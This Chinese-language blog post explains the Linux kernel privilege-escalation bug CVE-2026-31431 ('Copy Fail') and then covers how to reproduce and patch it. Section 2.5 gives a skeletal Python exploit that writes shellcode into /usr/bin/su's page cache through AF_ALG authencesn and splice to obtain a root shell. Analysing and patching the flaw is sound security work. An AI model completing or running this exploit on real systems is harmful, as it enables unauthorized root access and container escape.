1 介绍

名称:“Copy Fail”(CVE-2026-31431)
披露时间:2026年4月29日
类型:本地提权漏洞
等级:高危
描述:2017年的优化(commit 72548b093ee3)试图让AEAD加解密操作直接在原地完成,以减少内存拷贝。然而在解密路径中,系统错误地将来源不同的数据映射当作相同缓冲区处理,导致解密时将文件page cache中的页面链接到了可写的目标scatterlist中。authencesn解密在验证认证标签前,便向该页面写入4个字节。由此,攻击者获得了一个完全可控的、直写文件page cache的4字节写入原语。攻击者通过本地执行简短脚本即可从普通用户权限直接提升至root权限,并可能导致容器逃逸、云环境租户隔离被突破等严重后果
影响范围:2017年以来几乎所有主流Linux发行版

2 原理

通过splice系统调用将/usr/bin/su文件页缓存映射到AF_ALG缓冲区,然后利用authencesn算法解密操作时的 BUG,越界写入 shellcode,使得运行su命令时以root身份启动bash

2.1 文件页缓存

Linux内核把磁盘上的文件内容缓存到内存中,下次读取就不用再访问慢速磁盘。
所有进程读取同一个文件时,看到的是同一份内存中的缓存数据。页缓存中的内容如果被修改,其他进程立刻能看到修改后的版本

2.2 splice系统调用

splice() 与 read() 的区别
把文件内容发送到网络:
read:
磁盘文件->内核页缓存->用户缓冲区->内核Socket缓冲区->网络设备
splice:
磁盘文件->内核页缓存–&&–>管道缓冲区–&&–>Socket缓冲区->网络设备
&&传递引用并不拷贝数据

#include <fcntl.h>

ssize_t splice(int fd_in, loff_t *off_in,
               int fd_out, loff_t *off_out,
               size_t len, unsigned int flags);
	/*
	参数:
	fd_in		输入文件描述符
	off_in		输入偏移量(NULL 表示使用当前文件指针)
	fd_out		输出文件描述符
	off_out		输出偏移量
	len			传输字节数
	flags		控制标志
	fd_in 和 fd_out 必须至少有一个是管道
	*/

2.3 /usr/bin/su

在 Linux 中,进程有两个身份标识:
RUID :启动这个进程的用户ID
EUID:进程当前拥有的权限
正常情况下:
RUID=EUID

ls -l /usr/bin/su
-rwsr-xr-x 1 root root 67832 Jan 15 09:23 /usr/bin/su

s即为setuid位,设置了 setuid 位且所有者是 root 时
RUID:启动进程的用户id
EUID:root
原因:
su切换用户时需要读取 /etc/shadow验证用户口令, /etc/shadow只有root拥有读取权限

2.4 AF_ALG

AF_ALG 是 Linux 内核提供的一个套接字地址族,它把内核的加密子系统通过网络套接字接口暴露给用户使用
其中的authencesn 是 IPsec 协议中用于支持 64位扩展序列号的一个 AEAD 算法包装器
在解密过程中,会把序列号的低32位越界写到输出缓冲区末尾之后

2.5 流程

import os, socket

# 创建 AF_ALG 套接字并绑定 authencesn 算法
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, key)
conn, _ = sock.accept()

# 只读打开目标 setuid 文件
su_fd = os.open("/usr/bin/su", os.O_RDONLY)
offset = target_offset

# 将shellcode拆分为多个4字节块注入su中合适的位置
for chunk in shellcode_chunks:
    # AAD[4:8] = 要注入的 4 字节
    aad = b"\x00" * 4 + chunk
    
    # splice 文件页缓存引用 → 管道 → AF_ALG
    pipe_rd, pipe_wr = os.pipe()
    os.splice(su_fd, pipe_wr, offset, 732)
    os.splice(pipe_rd, conn.fileno(), 0, 732)
    
    # 触发 authencesn 解密,越界写入页缓存
    conn.sendmsg([aad], [control_msg])
    conn.recv(1024)
    
    os.close(pipe_rd)
    os.close(pipe_wr)
    offset += 4

# 执行被篡改的 su,获得 root shell
os.execve("/usr/bin/su", ["su"], os.environ)

3 复现

环境:vmware,ubuntu24.04
首先检查algif_aead是否加载,AF_ALG 是套接字接口,当一个程序通过 AF_ALG 接口请求使用 AEAD 加密算法时,内核就会调用 algif_aead 模块来处理这个请求
在这里插入图片描述
algif_aead模块已经加载,因此存在漏洞
这里下载脚本代码
在这里插入图片描述
python3执行获得root权限

4 修复

将内核更新至包含commit a664bf3d603d 的版本

sudo apt update
sudo apt full-upgrade -y

再次执行,发现漏洞已经被修复
在这里插入图片描述

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐